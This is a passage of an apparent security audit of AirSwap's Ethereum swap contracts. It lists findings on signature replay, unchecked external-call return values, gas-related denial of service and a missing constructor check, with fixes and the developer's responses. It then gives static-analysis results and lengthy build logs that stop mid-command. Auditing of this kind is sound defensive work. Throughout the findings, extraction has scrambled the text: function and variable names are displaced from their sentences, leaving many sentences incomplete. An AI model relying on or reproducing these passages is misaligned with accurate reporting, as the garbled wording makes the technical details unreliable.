Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: •wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run 